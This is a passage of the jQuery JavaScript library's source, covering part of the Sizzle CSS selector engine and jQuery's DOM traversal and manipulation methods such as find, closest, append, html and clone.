            for (var e = 0, f = l.order.length; e < f; e++) {
                var g, h = l.order[e];
                if (g = l.leftMatch[h].exec(a)) {
                    var j = g[1];
                    g.splice(1, 1);
                    if (j.substr(j.length - 1) !== "\\") {
                        g[1] = (g[1] || "").replace(i, ""), d = l.find[h](g, b, c);
                        if (d != null) {
                            a = a.replace(l.match[h], "");
                            break
                        }
                    }
                }
            }
            d || (d = typeof b.getElementsByTagName != "undefined" ? b.getElementsByTagName("*") : []);
            return {
                set: d,
                expr: a
            }
        }, k.filter = function(a, c, d, e) {
            var f, g, h = a,
                i = [],
                j = c,
                m = c && c[0] && k.isXML(c[0]);
            while (a && c.length) {
                for (var n in l.filter) if ((f = l.leftMatch[n].exec(a)) != null && f[2]) {
                    var o, p, q = l.filter[n],
                        r = f[1];
                    g = !1, f.splice(1, 1);
                    if (r.substr(r.length - 1) === "\\") continue;
                    j === i && (i = []);
                    if (l.preFilter[n]) {
                        f = l.preFilter[n](f, j, d, i, e, m);
                        if (!f) g = o = !0;
                        else if (f === !0) continue
                    }
                    if (f) for (var s = 0;
                    (p = j[s]) != null; s++) if (p) {
                        o = q(p, f, s, j);
                        var t = e ^ !! o;
                        d && o != null ? t ? g = !0 : j[s] = !1 : t && (i.push(p), g = !0)
                    }
                    if (o !== b) {
                        d || (j = i), a = a.replace(l.match[n], "");
                        if (!g) return [];
                        break
                    }
                }
                if (a === h) if (g == null) k.error(a);
                else break;
                h = a
            }
            return j
        }, k.error = function(a) {
            throw "Syntax error, unrecognized expression: " + a
        };
        var l = k.selectors = {
            order: ["ID", "NAME", "TAG"],
            match: {
                ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
                CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
                NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
                ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
                TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
                CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
                POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
                PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
            },
            leftMatch: {},
            attrMap: {
                "class": "className",
                "for": "htmlFor"
            },
            attrHandle: {
                href: function(a) {
                    return a.getAttribute("href")
                },
                type: function(a) {
                    return a.getAttribute("type")
                }
            },
            relative: {
                "+": function(a, b) {
                    var c = typeof b == "string",
                        d = c && !j.test(b),
                        e = c && !d;
                    d && (b = b.toLowerCase());
                    for (var f = 0, g = a.length, h; f < g; f++) if (h = a[f]) {
                        while ((h = h.previousSibling) && h.nodeType !== 1);
                        a[f] = e || h && h.nodeName.toLowerCase() === b ? h || !1 : h === b
                    }
                    e && k.filter(b, a, !0)
                },
                ">": function(a, b) {
                    var c, d = typeof b == "string",
                        e = 0,
                        f = a.length;
                    if (d && !j.test(b)) {
                        b = b.toLowerCase();
                        for (; e < f; e++) {
                            c = a[e];
                            if (c) {
                                var g = c.parentNode;
                                a[e] = g.nodeName.toLowerCase() === b ? g : !1
                            }
                        }
                    } else {
                        for (; e < f; e++) c = a[e], c && (a[e] = d ? c.parentNode : c.parentNode === b);
                        d && k.filter(b, a, !0)
                    }
                },
                "": function(a, b, c) {
                    var e, f = d++,
                        g = u;
                    typeof b == "string" && !j.test(b) && (b = b.toLowerCase(), e = b, g = t), g("parentNode", b, f, a, e, c)
                },
                "~": function(a, b, c) {
                    var e, f = d++,
                        g = u;
                    typeof b == "string" && !j.test(b) && (b = b.toLowerCase(), e = b, g = t), g("previousSibling", b, f, a, e, c)
                }
            },
            find: {
                ID: function(a, b, c) {
                    if (typeof b.getElementById != "undefined" && !c) {
                        var d = b.getElementById(a[1]);
                        return d && d.parentNode ? [d] : []
                    }
                },
                NAME: function(a, b) {
                    if (typeof b.getElementsByName != "undefined") {
                        var c = [],
                            d = b.getElementsByName(a[1]);
                        for (var e = 0, f = d.length; e < f; e++) d[e].getAttribute("name") === a[1] && c.push(d[e]);
                        return c.length === 0 ? null : c
                    }
                },
                TAG: function(a, b) {
                    if (typeof b.getElementsByTagName != "undefined") return b.getElementsByTagName(a[1])
                }
            },
            preFilter: {
                CLASS: function(a, b, c, d, e, f) {
                    a = " " + a[1].replace(i, "") + " ";
                    if (f) return a;
                    for (var g = 0, h;
                    (h = b[g]) != null; g++) h && (e ^ (h.className && (" " + h.className + " ").replace(/[\t\n\r]/g, " ").indexOf(a) >= 0) ? c || d.push(h) : c && (b[g] = !1));
                    return !1
                },
                ID: function(a) {
                    return a[1].replace(i, "")
                },
                TAG: function(a, b) {
                    return a[1].replace(i, "").toLowerCase()
                },
                CHILD: function(a) {
                    if (a[1] === "nth") {
                        a[2] || k.error(a[0]), a[2] = a[2].replace(/^\+|\s*/g, "");
                        var b = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2] === "even" && "2n" || a[2] === "odd" && "2n+1" || !/\D/.test(a[2]) && "0n+" + a[2] || a[2]);
                        a[2] = b[1] + (b[2] || 1) - 0, a[3] = b[3] - 0
                    } else a[2] && k.error(a[0]);
                    a[0] = d++;
                    return a
                },
                ATTR: function(a, b, c, d, e, f) {
                    var g = a[1] = a[1].replace(i, "");
                    !f && l.attrMap[g] && (a[1] = l.attrMap[g]), a[4] = (a[4] || a[5] || "").replace(i, ""), a[2] === "~=" && (a[4] = " " + a[4] + " ");
                    return a
                },
                PSEUDO: function(b, c, d, e, f) {
                    if (b[1] === "not") if ((a.exec(b[3]) || "").length > 1 || /^\w/.test(b[3])) b[3] = k(b[3], null, null, c);
                    else {
                        var g = k.filter(b[3], c, d, !0 ^ f);
                        d || e.push.apply(e, g);
                        return !1
                    } else if (l.match.POS.test(b[0]) || l.match.CHILD.test(b[0])) return !0;
                    return b
                },
                POS: function(a) {
                    a.unshift(!0);
                    return a
                }
            },
            filters: {
                enabled: function(a) {
                    return a.disabled === !1 && a.type !== "hidden"
                },
                disabled: function(a) {
                    return a.disabled === !0
                },
                checked: function(a) {
                    return a.checked === !0
                },
                selected: function(a) {
                    a.parentNode && a.parentNode.selectedIndex;
                    return a.selected === !0
                },
                parent: function(a) {
                    return !!a.firstChild
                },
                empty: function(a) {
                    return !a.firstChild
                },
                has: function(a, b, c) {
                    return !!k(c[3], a).length
                },
                header: function(a) {
                    return /h\d/i.test(a.nodeName)
                },
                text: function(a) {
                    var b = a.getAttribute("type"),
                        c = a.type;
                    return a.nodeName.toLowerCase() === "input" && "text" === c && (b === c || b === null)
                },
                radio: function(a) {
                    return a.nodeName.toLowerCase() === "input" && "radio" === a.type
                },
                checkbox: function(a) {
                    return a.nodeName.toLowerCase() === "input" && "checkbox" === a.type
                },
                file: function(a) {
                    return a.nodeName.toLowerCase() === "input" && "file" === a.type
                },
                password: function(a) {
                    return a.nodeName.toLowerCase() === "input" && "password" === a.type
                },
                submit: function(a) {
                    var b = a.nodeName.toLowerCase();
                    return (b === "input" || b === "button") && "submit" === a.type
                },
                image: function(a) {
                    return a.nodeName.toLowerCase() === "input" && "image" === a.type
                },
                reset: function(a) {
                    var b = a.nodeName.toLowerCase();
                    return (b === "input" || b === "button") && "reset" === a.type
                },
                button: function(a) {
                    var b = a.nodeName.toLowerCase();
                    return b === "input" && "button" === a.type || b === "button"
                },
                input: function(a) {
                    return /input|select|textarea|button/i.test(a.nodeName)
                },
                focus: function(a) {
                    return a === a.ownerDocument.activeElement
                }
            },
            setFilters: {
                first: function(a, b) {
                    return b === 0
                },
                last: function(a, b, c, d) {
                    return b === d.length - 1
                },
                even: function(a, b) {
                    return b % 2 === 0
                },
                odd: function(a, b) {
                    return b % 2 === 1
                },
                lt: function(a, b, c) {
                    return b < c[3] - 0
                },
                gt: function(a, b, c) {
                    return b > c[3] - 0
                },
                nth: function(a, b, c) {
                    return c[3] - 0 === b
                },
                eq: function(a, b, c) {
                    return c[3] - 0 === b
                }
            },
            filter: {
                PSEUDO: function(a, b, c, d) {
                    var e = b[1],
                        f = l.filters[e];
                    if (f) return f(a, c, b, d);
                    if (e === "contains") return (a.textContent || a.innerText || k.getText([a]) || "").indexOf(b[3]) >= 0;
                    if (e === "not") {
                        var g = b[3];
                        for (var h = 0, i = g.length; h < i; h++) if (g[h] === a) return !1;
                        return !0
                    }
                    k.error(e)
                },
                CHILD: function(a, b) {
                    var c = b[1],
                        d = a;
                    switch (c) {
                    case "only":
                    case "first":
                        while (d = d.previousSibling) if (d.nodeType === 1) return !1;
                        if (c === "first") return !0;
                        d = a;
                    case "last":
                        while (d = d.nextSibling) if (d.nodeType === 1) return !1;
                        return !0;
                    case "nth":
                        var e = b[2],
                            f = b[3];
                        if (e === 1 && f === 0) return !0;
                        var g = b[0],
                            h = a.parentNode;
                        if (h && (h.sizcache !== g || !a.nodeIndex)) {
                            var i = 0;
                            for (d = h.firstChild; d; d = d.nextSibling) d.nodeType === 1 && (d.nodeIndex = ++i);
                            h.sizcache = g
                        }
                        var j = a.nodeIndex - f;
                        return e === 0 ? j === 0 : j % e === 0 && j / e >= 0
                    }
                },
                ID: function(a, b) {
                    return a.nodeType === 1 && a.getAttribute("id") === b
                },
                TAG: function(a, b) {
                    return b === "*" && a.nodeType === 1 || a.nodeName.toLowerCase() === b
                },
                CLASS: function(a, b) {
                    return (" " + (a.className || a.getAttribute("class")) + " ").indexOf(b) > -1
                },
                ATTR: function(a, b) {
                    var c = b[1],
                        d = l.attrHandle[c] ? l.attrHandle[c](a) : a[c] != null ? a[c] : a.getAttribute(c),
                        e = d + "",
                        f = b[2],
                        g = b[4];
                    return d == null ? f === "!=" : f === "=" ? e === g : f === "*=" ? e.indexOf(g) >= 0 : f === "~=" ? (" " + e + " ").indexOf(g) >= 0 : g ? f === "!=" ? e !== g : f === "^=" ? e.indexOf(g) === 0 : f === "$=" ? e.substr(e.length - g.length) === g : f === "|=" ? e === g || e.substr(0, g.length + 1) === g + "-" : !1 : e && d !== !1
                },
                POS: function(a, b, c, d) {
                    var e = b[2],
                        f = l.setFilters[e];
                    if (f) return f(a, c, b, d)
                }
            }
        },
            m = l.match.POS,
            n = function(a, b) {
                return "\\" + (b - 0 + 1)
            };
        for (var o in l.match) l.match[o] = new RegExp(l.match[o].source + /(?![^\[]*\])(?![^\(]*\))/.source), l.leftMatch[o] = new RegExp(/(^(?:.|\r|\n)*?)/.source + l.match[o].source.replace(/\\(\d+)/g, n));
        var p = function(a, b) {
                a = Array.prototype.slice.call(a, 0);
                if (b) {
                    b.push.apply(b, a);
                    return b
                }
                return a
            };
        try {
            Array.prototype.slice.call(c.documentElement.childNodes, 0)[0].nodeType
        } catch (q) {
            p = function(a, b) {
                var c = 0,
                    d = b || [];
                if (e.call(a) === "[object Array]") Array.prototype.push.apply(d, a);
                else if (typeof a.length == "number") for (var f = a.length; c < f; c++) d.push(a[c]);
                else for (; a[c]; c++) d.push(a[c]);
                return d
            }
        }
        var r, s;
        c.documentElement.compareDocumentPosition ? r = function(a, b) {
            if (a === b) {
                g = !0;
                return 0
            }
            if (!a.compareDocumentPosition || !b.compareDocumentPosition) return a.compareDocumentPosition ? -1 : 1;
            return a.compareDocumentPosition(b) & 4 ? -1 : 1
        } : (r = function(a, b) {
            if (a === b) {
                g = !0;
                return 0
            }
            if (a.sourceIndex && b.sourceIndex) return a.sourceIndex - b.sourceIndex;
            var c, d, e = [],
                f = [],
                h = a.parentNode,
                i = b.parentNode,
                j = h;
            if (h === i) return s(a, b);
            if (!h) return -1;
            if (!i) return 1;
            while (j) e.unshift(j), j = j.parentNode;
            j = i;
            while (j) f.unshift(j), j = j.parentNode;
            c = e.length, d = f.length;
            for (var k = 0; k < c && k < d; k++) if (e[k] !== f[k]) return s(e[k], f[k]);
            return k === c ? s(a, f[k], -1) : s(e[k], b, 1)
        }, s = function(a, b, c) {
            if (a === b) return c;
            var d = a.nextSibling;
            while (d) {
                if (d === b) return -1;
                d = d.nextSibling
            }
            return 1
        }), k.getText = function(a) {
            var b = "",
                c;
            for (var d = 0; a[d]; d++) c = a[d], c.nodeType === 3 || c.nodeType === 4 ? b += c.nodeValue : c.nodeType !== 8 && (b += k.getText(c.childNodes));
            return b
        }, function() {
            var a = c.createElement("div"),
                d = "script" + (new Date).getTime(),
                e = c.documentElement;
            a.innerHTML = "<a name='" + d + "'/>", e.insertBefore(a, e.firstChild), c.getElementById(d) && (l.find.ID = function(a, c, d) {
                if (typeof c.getElementById != "undefined" && !d) {
                    var e = c.getElementById(a[1]);
                    return e ? e.id === a[1] || typeof e.getAttributeNode != "undefined" && e.getAttributeNode("id").nodeValue === a[1] ? [e] : b : []
                }
            }, l.filter.ID = function(a, b) {
                var c = typeof a.getAttributeNode != "undefined" && a.getAttributeNode("id");
                return a.nodeType === 1 && c && c.nodeValue === b
            }), e.removeChild(a), e = a = null
        }(), function() {
            var a = c.createElement("div");
            a.appendChild(c.createComment("")), a.getElementsByTagName("*").length > 0 && (l.find.TAG = function(a, b) {
                var c = b.getElementsByTagName(a[1]);
                if (a[1] === "*") {
                    var d = [];
                    for (var e = 0; c[e]; e++) c[e].nodeType === 1 && d.push(c[e]);
                    c = d
                }
                return c
            }), a.innerHTML = "<a href='#'></a>", a.firstChild && typeof a.firstChild.getAttribute != "undefined" && a.firstChild.getAttribute("href") !== "#" && (l.attrHandle.href = function(a) {
                return a.getAttribute("href", 2)
            }), a = null
        }(), c.querySelectorAll &&
        function() {
            var a = k,
                b = c.createElement("div"),
                d = "__sizzle__";
            b.innerHTML = "<p class='TEST'></p>";
            if (!b.querySelectorAll || b.querySelectorAll(".TEST").length !== 0) {
                k = function(b, e, f, g) {
                    e = e || c;
                    if (!g && !k.isXML(e)) {
                        var h = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);
                        if (h && (e.nodeType === 1 || e.nodeType === 9)) {
                            if (h[1]) return p(e.getElementsByTagName(b), f);
                            if (h[2] && l.find.CLASS && e.getElementsByClassName) return p(e.getElementsByClassName(h[2]), f)
                        }
                        if (e.nodeType === 9) {
                            if (b === "body" && e.body) return p([e.body], f);
                            if (h && h[3]) {
                                var i = e.getElementById(h[3]);
                                if (!i || !i.parentNode) return p([], f);
                                if (i.id === h[3]) return p([i], f)
                            }
                            try {
                                return p(e.querySelectorAll(b), f)
                            } catch (j) {}
                        } else if (e.nodeType === 1 && e.nodeName.toLowerCase() !== "object") {
                            var m = e,
                                n = e.getAttribute("id"),
                                o = n || d,
                                q = e.parentNode,
                                r = /^\s*[+~]/.test(b);
                            n ? o = o.replace(/'/g, "\\$&") : e.setAttribute("id", o), r && q && (e = e.parentNode);
                            try {
                                if (!r || q) return p(e.querySelectorAll("[id='" + o + "'] " + b), f)
                            } catch (s) {} finally {
                                n || m.removeAttribute("id")
                            }
                        }
                    }
                    return a(b, e, f, g)
                };
                for (var e in a) k[e] = a[e];
                b = null
            }
        }(), function() {
            var a = c.documentElement,
                b = a.matchesSelector || a.mozMatchesSelector || a.webkitMatchesSelector || a.msMatchesSelector;
            if (b) {
                var d = !b.call(c.createElement("div"), "div"),
                    e = !1;
                try {
                    b.call(c.documentElement, "[test!='']:sizzle")
                } catch (f) {
                    e = !0
                }
                k.matchesSelector = function(a, c) {
                    c = c.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
                    if (!k.isXML(a)) try {
                        if (e || !l.match.PSEUDO.test(c) && !/!=/.test(c)) {
                            var f = b.call(a, c);
                            if (f || !d || a.document && a.document.nodeType !== 11) return f
                        }
                    } catch (g) {}
                    return k(c, null, null, [a]).length > 0
                }
            }
        }(), function() {
            var a = c.createElement("div");
            a.innerHTML = "<div class='test e'></div><div class='test'></div>";
            if ( !! a.getElementsByClassName && a.getElementsByClassName("e").length !== 0) {
                a.lastChild.className = "e";
                if (a.getElementsByClassName("e").length === 1) return;
                l.order.splice(1, 0, "CLASS"), l.find.CLASS = function(a, b, c) {
                    if (typeof b.getElementsByClassName != "undefined" && !c) return b.getElementsByClassName(a[1])
                }, a = null
            }
        }(), c.documentElement.contains ? k.contains = function(a, b) {
            return a !== b && (a.contains ? a.contains(b) : !0)
        } : c.documentElement.compareDocumentPosition ? k.contains = function(a, b) {
            return !!(a.compareDocumentPosition(b) & 16)
        } : k.contains = function() {
            return !1
        }, k.isXML = function(a) {
            var b = (a ? a.ownerDocument || a : 0).documentElement;
            return b ? b.nodeName !== "HTML" : !1
        };
        var v = function(a, b) {
                var c, d = [],
                    e = "",
                    f = b.nodeType ? [b] : b;
                while (c = l.match.PSEUDO.exec(a)) e += c[0], a = a.replace(l.match.PSEUDO, "");
                a = l.relative[a] ? a + "*" : a;
                for (var g = 0, h = f.length; g < h; g++) k(a, f[g], d);
                return k.filter(e, d)
            };
        f.find = k, f.expr = k.selectors, f.expr[":"] = f.expr.filters, f.unique = k.uniqueSort, f.text = k.getText, f.isXMLDoc = k.isXML, f.contains = k.contains
    }();
    var P = /Until$/,
        Q = /^(?:parents|prevUntil|prevAll)/,
        R = /,/,
        S = /^.[^:#\[\.,]*$/,
        T = Array.prototype.slice,
        U = f.expr.match.POS,
        V = {
            children: !0,
            contents: !0,
            next: !0,
            prev: !0
        };
    f.fn.extend({
        find: function(a) {
            var b = this,
                c, d;
            if (typeof a != "string") return f(a).filter(function() {
                for (c = 0, d = b.length; c < d; c++) if (f.contains(b[c], this)) return !0
            });
            var e = this.pushStack("", "find", a),
                g, h, i;
            for (c = 0, d = this.length; c < d; c++) {
                g = e.length, f.find(a, this[c], e);
                if (c > 0) for (h = g; h < e.length; h++) for (i = 0; i < g; i++) if (e[i] === e[h]) {
                    e.splice(h--, 1);
                    break
                }
            }
            return e
        },
        has: function(a) {
            var b = f(a);
            return this.filter(function() {
                for (var a = 0, c = b.length; a < c; a++) if (f.contains(this, b[a])) return !0
            })
        },
        not: function(a) {
            return this.pushStack(X(this, a, !1), "not", a)
        },
        filter: function(a) {
            return this.pushStack(X(this, a, !0), "filter", a)
        },
        is: function(a) {
            return !!a && (typeof a == "string" ? f.filter(a, this).length > 0 : this.filter(a).length > 0)
        },
        closest: function(a, b) {
            var c = [],
                d, e, g = this[0];
            if (f.isArray(a)) {
                var h, i, j = {},
                    k = 1;
                if (g && a.length) {
                    for (d = 0, e = a.length; d < e; d++) i = a[d], j[i] || (j[i] = U.test(i) ? f(i, b || this.context) : i);
                    while (g && g.ownerDocument && g !== b) {
                        for (i in j) h = j[i], (h.jquery ? h.index(g) > -1 : f(g).is(h)) && c.push({
                            selector: i,
                            elem: g,
                            level: k
                        });
                        g = g.parentNode, k++
                    }
                }
                return c
            }
            var l = U.test(a) || typeof a != "string" ? f(a, b || this.context) : 0;
            for (d = 0, e = this.length; d < e; d++) {
                g = this[d];
                while (g) {
                    if (l ? l.index(g) > -1 : f.find.matchesSelector(g, a)) {
                        c.push(g);
                        break
                    }
                    g = g.parentNode;
                    if (!g || !g.ownerDocument || g === b || g.nodeType === 11) break
                }
            }
            c = c.length > 1 ? f.unique(c) : c;
            return this.pushStack(c, "closest", a)
        },
        index: function(a) {
            if (!a || typeof a == "string") return f.inArray(this[0], a ? f(a) : this.parent().children());
            return f.inArray(a.jquery ? a[0] : a, this)
        },
        add: function(a, b) {
            var c = typeof a == "string" ? f(a, b) : f.makeArray(a && a.nodeType ? [a] : a),
                d = f.merge(this.get(), c);
            return this.pushStack(W(c[0]) || W(d[0]) ? d : f.unique(d))
        },
        andSelf: function() {
            return this.add(this.prevObject)
        }
    }), f.each({
        parent: function(a) {
            var b = a.parentNode;
            return b && b.nodeType !== 11 ? b : null
        },
        parents: function(a) {
            return f.dir(a, "parentNode")
        },
        parentsUntil: function(a, b, c) {
            return f.dir(a, "parentNode", c)
        },
        next: function(a) {
            return f.nth(a, 2, "nextSibling")
        },
        prev: function(a) {
            return f.nth(a, 2, "previousSibling")
        },
        nextAll: function(a) {
            return f.dir(a, "nextSibling")
        },
        prevAll: function(a) {
            return f.dir(a, "previousSibling")
        },
        nextUntil: function(a, b, c) {
            return f.dir(a, "nextSibling", c)
        },
        prevUntil: function(a, b, c) {
            return f.dir(a, "previousSibling", c)
        },
        siblings: function(a) {
            return f.sibling(a.parentNode.firstChild, a)
        },
        children: function(a) {
            return f.sibling(a.firstChild)
        },
        contents: function(a) {
            return f.nodeName(a, "iframe") ? a.contentDocument || a.contentWindow.document : f.makeArray(a.childNodes)
        }
    }, function(a, b) {
        f.fn[a] = function(c, d) {
            var e = f.map(this, b, c),
                g = T.call(arguments);
            P.test(a) || (d = c), d && typeof d == "string" && (e = f.filter(d, e)), e = this.length > 1 && !V[a] ? f.unique(e) : e, (this.length > 1 || R.test(d)) && Q.test(a) && (e = e.reverse());
            return this.pushStack(e, a, g.join(","))
        }
    }), f.extend({
        filter: function(a, b, c) {
            c && (a = ":not(" + a + ")");
            return b.length === 1 ? f.find.matchesSelector(b[0], a) ? [b[0]] : [] : f.find.matches(a, b)
        },
        dir: function(a, c, d) {
            var e = [],
                g = a[c];
            while (g && g.nodeType !== 9 && (d === b || g.nodeType !== 1 || !f(g).is(d))) g.nodeType === 1 && e.push(g), g = g[c];
            return e
        },
        nth: function(a, b, c, d) {
            b = b || 1;
            var e = 0;
            for (; a; a = a[c]) if (a.nodeType === 1 && ++e === b) break;
            return a
        },
        sibling: function(a, b) {
            var c = [];
            for (; a; a = a.nextSibling) a.nodeType === 1 && a !== b && c.push(a);
            return c
        }
    });
    var Y = / jQuery\d+="(?:\d+|null)"/g,
        Z = /^\s+/,
        $ = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,
        _ = /<([\w:]+)/,
        ba = /<tbody/i,
        bb = /<|&#?\w+;/,
        bc = /<(?:script|object|embed|option|style)/i,
        bd = /checked\s*(?:[^=]|=\s*.checked.)/i,
        be = /\/(java|ecma)script/i,
        bf = /^\s*<!(?:\[CDATA\[|\-\-)/,
        bg = {
            option: [1, "<select multiple='multiple'>", "</select>"],
            legend: [1, "<fieldset>", "</fieldset>"],
            thead: [1, "<table>", "</table>"],
            tr: [2, "<table><tbody>", "</tbody></table>"],
            td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
            col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
            area: [1, "<map>", "</map>"],
            _default: [0, "", ""]
        };
    bg.optgroup = bg.option, bg.tbody = bg.tfoot = bg.colgroup = bg.caption = bg.thead, bg.th = bg.td, f.support.htmlSerialize || (bg._default = [1, "div<div>", "</div>"]), f.fn.extend({
        text: function(a) {
            if (f.isFunction(a)) return this.each(function(b) {
                var c = f(this);
                c.text(a.call(this, b, c.text()))
            });
            if (typeof a != "object" && a !== b) return this.empty().append((this[0] && this[0].ownerDocument || c).createTextNode(a));
            return f.text(this)
        },
        wrapAll: function(a) {
            if (f.isFunction(a)) return this.each(function(b) {
                f(this).wrapAll(a.call(this, b))
            });
            if (this[0]) {
                var b = f(a, this[0].ownerDocument).eq(0).clone(!0);
                this[0].parentNode && b.insertBefore(this[0]), b.map(function() {
                    var a = this;
                    while (a.firstChild && a.firstChild.nodeType === 1) a = a.firstChild;
                    return a
                }).append(this)
            }
            return this
        },
        wrapInner: function(a) {
            if (f.isFunction(a)) return this.each(function(b) {
                f(this).wrapInner(a.call(this, b))
            });
            return this.each(function() {
                var b = f(this),
                    c = b.contents();
                c.length ? c.wrapAll(a) : b.append(a)
            })
        },
        wrap: function(a) {
            return this.each(function() {
                f(this).wrapAll(a)
            })
        },
        unwrap: function() {
            return this.parent().each(function() {
                f.nodeName(this, "body") || f(this).replaceWith(this.childNodes)
            }).end()
        },
        append: function() {
            return this.domManip(arguments, !0, function(a) {
                this.nodeType === 1 && this.appendChild(a)
            })
        },
        prepend: function() {
            return this.domManip(arguments, !0, function(a) {
                this.nodeType === 1 && this.insertBefore(a, this.firstChild)
            })
        },
        before: function() {
            if (this[0] && this[0].parentNode) return this.domManip(arguments, !1, function(a) {
                this.parentNode.insertBefore(a, this)
            });
            if (arguments.length) {
                var a = f(arguments[0]);
                a.push.apply(a, this.toArray());
                return this.pushStack(a, "before", arguments)
            }
        },
        after: function() {
            if (this[0] && this[0].parentNode) return this.domManip(arguments, !1, function(a) {
                this.parentNode.insertBefore(a, this.nextSibling)
            });
            if (arguments.length) {
                var a = this.pushStack(this, "after", arguments);
                a.push.apply(a, f(arguments[0]).toArray());
                return a
            }
        },
        remove: function(a, b) {
            for (var c = 0, d;
            (d = this[c]) != null; c++) if (!a || f.filter(a, [d]).length)!b && d.nodeType === 1 && (f.cleanData(d.getElementsByTagName("*")), f.cleanData([d])), d.parentNode && d.parentNode.removeChild(d);
            return this
        },
        empty: function() {
            for (var a = 0, b;
            (b = this[a]) != null; a++) {
                b.nodeType === 1 && f.cleanData(b.getElementsByTagName("*"));
                while (b.firstChild) b.removeChild(b.firstChild)
            }
            return this
        },
        clone: function(a, b) {
            a = a == null ? !1 : a, b = b == null ? a : b;
            return this.map(function() {
                return f.clone(this, a, b)
            })
        },
        html: function(a) {
            if (a === b) return this[0] && this[0].nodeType === 1 ? this[0].innerHTML.replace(Y, "") : null;
            if (typeof a == "string" && !bc.test(a) && (f.support.leadingWhitespace || !Z.test(a)) && !bg[(_.exec(a) || ["", ""])[1].toLowerCase()]) {
                a = a.replace($, "<$1></$2>");
                try {
                    for (var c = 0, d = this.length; c < d; c++) this[c].nodeType === 1 && (f.cleanData(this[c].getElementsByTagName("*")), this[c].innerHTML = a)
                } catch (e) {
                    this.empty().append(a)
                }
            } else f.isFunction(a) ? this.each(function(b) {
                var c = f(this);
                c.html(a.call(this, b, c.html()))
            }) : this.empty().append(a);
            return this
        },
        replaceWith: function(a) {
            if (this[0] && this[0].parentNode) {
                if (f.isFunction(a)) return this.each(function(b) {
                    var c = f(this),
                        d = c.html();
                    c.replaceWith(a.call(this, b, d))
                });
                typeof a != "string" && (a = f(a).detach());
                return this.each(function() {
                    var b = this.nextSibling,
                        c = this.parentNode;
                    f(this).remove(), b ? f(b).before(a) : f(c).append(a)
                })
            }
            return this.length ? this.pushStack(f(f.isFunction(a) ? a() : a), "replaceWith", a) : this
        },
        detach: function(a) {
            return this.remove(a, !0)
        },
        domManip: function(a, c, d) {
            var e, g, h, i, j = a[0],
                k = [];
            if (!f.support.checkClone && arguments.length === 3 && typeof j == "string" && bd.test(j)) return this.each(function() {
                f(this).domManip(a, c, d, !0)
            });
            if (f.isFunction(j)) return this.each(function(e) {
                var g = f(this);
                a[0] = j.call(this, e, c ? g.html() : b), g.domManip(a, c, d)
            });
            if (this[0]) {
                i = j && j.parentNode, f.support.parentNode && i && i.nodeType === 11 && i.childNodes.length === this.length ? e = {
                    fragment: i
                } : e = f.buildFragment(a, this, k), h = e.fragment, h.childNodes.length === 1 ? g = h = h.firstChild : g = h.firstChild;
                if (g) {
                    c = c && f.nodeName(g, "tr");
                    for (var l = 0, m = this.length, n = m - 1; l < m; l++) d.call(c ? bh(this[l], g) : this[l], e.cacheable || m > 1 && l < n ? f.clone(h, !0, !0) : h)
                }
                k.length && f.each(k, bn)
            }
            return this
        }
    }), f.buildFragment = function(a, b, d) {
        var e, g, h, i = b && b[0] ? b[0].ownerDocument || b[0] : c;
        a.length === 1 && typeof a[0] == "string" && a[0].length < 512 && i === c && a[0].charAt(0) === "<" && !bc.test(a[0]) && (f.support.checkClone || !bd.test(a[0])) && (g = !0, h = f.fragments[a[0]], h && h !== 1 && (e = h)), e || (e = i.createDocumentFragment(), f.clean(a, i, e, d)), g && (f.fragments[a[0]] = h ? e : 1);
        return {
            fragment: e,
            cacheable: g
        }
    }, f.fragments = {}, f.each({
        appendTo: "append",
        prependTo: "prepend",
        insertBefore: "before",
        insertAfter: "after",
        replaceAll: "replaceWith"
    }, function(a, b) {
        f.fn[a] = function(c) {
            var d = [],
                e = f(c),
                g = this.length === 1 && this[0].parentNode;
            if (g && g.nodeType === 11 && g.childNodes.length === 1 && e.length === 1) {
                e[b](this[0]);
                return this
            }
            for (var h = 0, i = e.length; h < i; h++) {
                var j = (h > 0 ? this.clone(!0) : this).get();
                f(e[h])[b](j), d = d.concat(j)
            }
            return this.pushStack(d, a, e.selector)
        }
    }), f.extend({
        clone: function(a, b, c) {
            var d = a.cloneNode(!0),
                e, g, h;
            if ((!f.support.noCloneEvent || !f.support.noCloneChecked) && (a.nodeType === 1 || a.nodeType === 11) && !f.isXMLDoc(a)) {
                bj(a, d), e = bk(a), g = bk(d);
                for (h = 0; e[h]; ++h) bj(e[h], g[h])
            }
            if (b) {
                bi(a, d);
                if (c) {
                    e = bk(a), g = bk(d);
                    for (h = 0; e[h]; ++h) bi(e[h], g[h])
                }
            }
            return d
        },
        clean: function(a, b, d, e) {
            var g;
            b = b || c, typeof b.createElement == "undefined" && (b = b.ownerDocument || b[0] && b[0].ownerDocument || c);
            var h = [],
                i;
            for (var j = 0, k;
            (k = a[j]) != null; j++) {
                typeof k == "number" && (k += "");
                if (!k) continue;
                if (typeof k == "string") if (!bb.test(k)) k = b.createTextNode(k);
                else {
                    k = k.replace($, "<$1></$2>");
                    var l = (_.exec(k) || ["", ""])[1].toLowerCase(),
                        m = bg[l] || bg._default,
                        n = m[0],
                        o = b.createElement("div");
                    o.innerHTML = m[1] + k + m[2];
                    while (n--) o = o.lastChild;
                    if (!f.support.tbody) {
                        var p = ba.test(k),
